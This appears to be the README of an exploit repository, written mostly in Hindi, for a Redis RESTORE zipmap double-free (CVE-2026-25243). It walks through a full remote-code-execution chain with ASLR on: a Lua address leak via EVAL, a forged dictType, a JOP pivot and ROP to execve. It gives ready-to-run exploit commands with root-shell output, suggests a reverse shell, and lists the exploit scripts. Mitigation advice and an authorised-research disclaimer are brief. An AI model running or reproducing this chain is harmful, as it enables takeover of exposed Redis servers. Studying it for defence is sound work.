
CVE-2026-25243 — Redis RESTORE zipmap double-free → रिमोट कोड निष्पादन (ASLR चालू)
RESTORE zipmap डबल-फ्री → रिमोट कोड निष्पादनTL;DR।
RESTOREको दिया गया एक दूषितDUMPपेलोड Redis के लिगेसी हैश-ज़िपमैप लोडर में हीप डबल-फ्री ट्रिगर करता है। डिफ़ॉल्ट jemalloc के अंतर्गत डबल-फ्री साइलेंट होता है (सर्वर चलता रहता है), जो इसे एक नियंत्रण-योग्य टाइप-कन्फ्यूज़न प्रिमिटिव में बदल देता है। यह रिपो तब उसे ASLR सक्षम के साथ रिमोट कोड निष्पादन में चेन करती है — Redis वर्करsystem("<attacker string>")कॉल करता है और सेवा देता रहता है। DoS नहीं।
# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000 (NO libc)
[*] fake dictType F=0x7f352e013c36 g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),... # <- execve("/bin/sh","-c",<cmd>) as the redis process
ASLR को हराने वाला लीक कोई DEBUG इस्तेमाल नहीं करता — यह redis.call Lua C-क्लोज़र का पता (EVAL 'return tostring(redis.call)') पढ़ता है, वही सेल्फ-कंटेन्ड, DEBUG-मुक्त तकनीक जो हमारे पिछले Redis एक्सप्लॉइट में थी। blob_base/blob_robj और PIE बेस फिर ओवर-रीड से रनटाइम पर व्युत्पन्न होते हैं (कोई फिक्स्ड ऑफसेट नहीं)। PIE-ROP फिनिश JOP स्टैक-पिवट के ज़रिए execve@plt कॉल करता है, इसलिए यह शून्य libc पतों का उपयोग करता है — केवल बिल्ड-विशिष्ट कॉन्स्टेंट PIE-सापेक्ष गैजेट ऑफसेट हैं जो redis-server बाइनरी से पढ़े जाते हैं, बिल्कुल हमारे पिछले HLL एक्सप्लॉइट की प्रति-बिल्ड गैजेट तालिका की तरह। डिफ़ॉल्ट DEBUG-अक्षम सर्वर पर ASLR चालू, 8/8, uid=0(root) सत्यापित।
दो फिनिश दिए गए हैं।
poc_rce_aslr_pie_rop.py(ऊपर) सबसे सेल्फ-कंटेन्ड है — कोई libc नहीं, पूरी तरह सेल्फ-कैलिब्रेटेड — लेकिनexecveवर्कर को रिप्लेस कर देता है (रिवर्स-शैल--cmdउपयोग करें; असली शैल के लिए सर्वोत्तम)।poc_rce_aslr_selfcal.pyवर्कर को जीवित रखता है (system()फोर्क करता है) लेकिन दो libc-संस्करण ऑफसेट की कीमत पर। चुनें कि आपको सर्वर को जीवित रहना चाहिए या नहीं।
RESTORE key 0 <DUMP-payload> एक सीरियलाइज़्ड ऑब्जेक्ट को डिसीरियलाइज़ करता है। लिगेसी RDB_TYPE_HASH_ZIPMAP (0x09) प्रकार के लिए, वैलिडेटर और कन्वर्टर इस बात पर असहमत हैं कि लंबाई फ़ील्ड कितने बाइट घेरती है:
zipmapValidateIntegrity() वास्तविक एन्कोडेड साइज़ के साथ चलता है (ओवरलॉन्ग 0xFE प्रीफ़िक्स के लिए 5);zipmap → listpack रूपांतरण के दौरान zipmapNext() किसी भी डिकोडेड लंबाई < 254 के लिए 1 बाइट उपयोग करता है।ओवरलॉन्ग 5-बाइट रूप में लिखी गई छोटी लंबाई वैलिडेशन पास कर लेती है लेकिन zipmapNext() को 4 बाइट गलत-स्ट्राइड करा देती है। उसी गलत-स्ट्राइड से दो परिणाम निकलते हैं: एक हीप ओवर-रीड (zipmap.c) और, केवल Redis में, rdb.c हैश-ज़िपमैप लोडर में एक हीप डबल-फ्री:
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
dictRelease(dupSearchDict); // (1) dictAdd took ownership of `field` -> freed here
sdsfree(field); // (2) freed AGAIN -> double-free
Valkey इसे गार्ड करता है (if (!field_added) sdsfree(field)); अपस्ट्रीम Redis ने नहीं किया, इसलिए डबल-फ्री केवल Redis में है। फिक्स ओवरलॉन्ग-एन्कोडेड छोटी लंबाई को अस्वीकार करता है और लोड-समय जाँचों को पुन: क्रमबद्ध करता है।
silent double-free -> type-confusion overlap -> arbitrary pointer-forge
-> forge a hashtable hash's dict->type to a fake dictType
-> HGET hd "<field>" == dictFind -> type->hashFunction(field)
libc path (selfcal): hashFunction = &system -> system("<cmd>") (worker survives)
PIE path (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
-> leave;ret pivots rsp onto the field
-> execve("/bin/sh","-c","<cmd>") via execve@plt (no libc, no DEBUG)
नकली dictType को 16 MB स्ट्रिंग (SETRANGE) के अंदर उस एक ऑफसेट पर लगाया जाता है जिसके पते के निचले बाइट हमलावर स्ट्रिंग के sds हेडर से मेल खाते हैं। ASLR पूरी तरह रनटाइम पर हराया जाता है:
system — एक एकल हीप-पॉइंटर लीक। अनुशंसित पथ DEBUG-मुक्त है: redis.call Lua C-क्लोज़र का पता (EVAL 'return tostring(redis.call)') — वही सेल्फ-कंटेन्ड लीक जो हमारा पिछला Redis एक्सप्लॉइट उपयोग करता है। jemalloc एरेनास libc से स्थिर ऑफसेट पर स्थित होते हैं, इसलिए system = leaked_robj + Δlibc + system_off। (DEBUG OBJECT केवल एक लैब सुविधा है जब स्क्रिप्टिंग अक्षम हो लेकिन DEBUG सक्षम हो — दुर्लभ कॉन्फ़िगरेशन।)SET का dict इस तरह फोर्ज करें कि उसका सदस्य 107 KB SDS_TYPE_32 sds हो, SMEMBERS आसन्न हीप को ओवर-रीड करता है, और ब्लॉब का robj.ptr उसके ज्ञात ऑफसेट पर पढ़ा जाता है।पूर्ण प्रिमिटिव-दर-प्रिमिटिव विश्लेषण और कठिन अर्जित jemalloc / Redis-8.x विवरण (class-64 सीमा, dict एंट्री टैगिंग, हैश-फ़ील्ड mstr, keyspace प्री-ग्रो) के लिए WRITEUP.md देखें।
docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243
# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2 # ASLR ON
redis-server & # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
DEBUG नहीं)बूटस्ट्रैप हीप-पॉइंटर लीक हमारे पिछले Redis एक्सप्लॉइट के समान दृष्टिकोण अपनाता है: EVAL 'return tostring(redis.call)' से redis.call Lua C-क्लोज़र का पता लीक करें। Lua स्क्रिप्टिंग डिफ़ॉल्ट रूप से चालू है; DEBUG डिफ़ॉल्ट रूप से बंद है (enable-debug-command no) — इसलिए Lua लीक यथार्थवादी प्राथमिक है, और DEBUG OBJECT (poc_rce_aslr.py) केवल एक लैब सुविधा है। poc_rce_aslr_selfcal.py तब ओवर-रीड से blob_base और blob_robj को रनटाइम पर व्युत्पन्न करता है (16 MB-ब्लॉब robj सिग्नेचर के लिए स्कैन), इसलिए DLUA/DFOBJ को केवल लगभग सही होने की आवश्यकता है।
system फिनिश के लिए छोटे-हीप ओवर-रीड में कोई libc पॉइंटर नहीं होते, इसलिए libc सेल्फ-डिराइव नहीं किया जा सकता — poc_rce_aslr_selfcal.py दो libc-संस्करण ऑफसेट (DLIBC, SYSTEM_OFF) रखता है। poc_rce_aslr_pie_rop.py फिनिश उस निर्भरता को पूरी तरह हटा देता है: वही ओवर-रीड वास्तव में PIE पॉइंटर्स रखता है (एक साझा dictType बार-बार दिखाई देता है), इसलिए PIE बेस most-common-PIE-value − DICTTYPE_OFF के रूप में सेल्फ-कैलिब्रेटेड होता है, और चेन JOP स्टैक-पिवट के ज़रिए execve@plt में समाप्त होती है (mov rbp,rdi; call *0x8(rax) → leave;ret rsp को हमलावर-नियंत्रित HGET फ़ील्ड पर पिवट करता है, जो वास्तव में execve("/bin/sh","-c",<cmd>) ROP चेन है)। केवल बिल्ड-विशिष्ट कॉन्स्टेंट PIE-सापेक्ष गैजेट ऑफसेट हैं जो से पढ़े जाते हैं — प्रति लक्ष्य / से निकालें, बिल्कुल जैसे हमारा पिछला HLL एक्सप्लॉइट प्रति ELF Build-ID एक गैजेट तालिका उपयोग करता है। कोई libc पता उपयोग नहीं होता।
screenshots/05-pie-rop-libc-free.png (NO libc सेल्फ-कैल + uid=0, सबसे सेल्फ-कंटेन्ड रन), 01-rce-aslr-on.png (uid=0 मनी शॉट), 02-reliability.png (5/5), 03-exploit-chain.png (कोड), और 04-debug-free-selfcal.png (डिफ़ॉल्ट Redis पर DEBUG-मुक्त, सेल्फ-कैलिब्रेटिंग system रन)।
RESTORE एक सामान्य कमांड है — बिना प्रमाणीकरण/एक्सपोज़्ड Redis (कोई requirepass नहीं) पर कोई भी जुड़ा क्लाइंट इसे चला सकता है; प्रमाणित इंस्टेंस पर कोई भी उपयोगकर्ता जिसके पास ACL -restore डिनाय नहीं है। अन्य Redis RCE द्वारा उपयोग किए जाने वाले डेटा-स्ट्रक्चर कमांड के समान एक्सेस प्रोफ़ाइल।< {6.2.22, 7.2.14, 7.4.9, 8.2.6, 8.4.3, 8.6.3} — यानी 6.2.x से वर्तमान 8.x तक; Valkey केवल DoS/ओवर-रीड है (इसका field_added गार्ड डबल-फ्री को रोकता है)।एक फिक्स्ड रिलीज़ में अपग्रेड करें। यदि संभव न हो: RESTORE प्रतिबंधित करें (ACL … -restore), Redis को कभी भी बिना प्रमाणीकरण एक्सपोज़ न करें, और DEBUG अक्षम करें।
अधिकृत सुरक्षा अनुसंधान, रक्षक जागरूकता के लिए प्रकाशित। उन सिस्टमों के विरुद्ध न चलाएँ जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।
| फ़ाइल | यह क्या प्रदर्शित करता है |
|---|
★ exploits/poc_rce_aslr_pie_rop.py | सबसे सेल्फ-कंटेन्ड — डिफ़ॉल्ट Redis (DEBUG बंद) पर RCE, कोई libc ऑफसेट नहीं; blob_base/blob_robj/pie_base सेल्फ-कैलिब्रेट करता है; JOP पिवट के ज़रिए execve@plt (वर्कर रिप्लेस हो जाता है)। 8/8। |
★ exploits/poc_rce_aslr_selfcal.py | वर्कर-सर्वाइविंग — वही चेन लेकिन hashFunction=&system (फोर्क करता है); दो libc-संस्करण ऑफसेट (DLIBC/SYSTEM_OFF) की कीमत पर। Lua-क्लोज़र लीक, सेल्फ-कैलिब्रेटिंग blob_base/blob_robj। |
exploits/poc_rce_aslr_nodebug.py | DEBUG-मुक्त (Lua लीक), लेकिन फिक्स्ड ऑफसेट के साथ (DEBUG-चालू पर कैलिब्रेटेड) |
exploits/poc_rce_aslr.py | लैब-सुविधा वैरिएंट: DEBUG OBJECT बूटस्ट्रैप लीक (DEBUG सक्षम होना चाहिए) |
exploits/poc_rce_aslr_off.py | ASLR बंद के साथ RCE (कैलिब्रेटेड पते) |
exploits/poc_typeconfusion.py | डबल-फ्री → दो कुंजियाँ एक ही हीप बफ़र साझा करती हैं (कोई टूलिंग नहीं) |
exploits/poc_doublefree.py | डबल-फ्री (ASan: sdsfree में heap-use-after-free) |
exploits/poc_dos_overread.py | ओवर-रीड क्रैश (ASan) |
redis-serverROPgadgetobjdump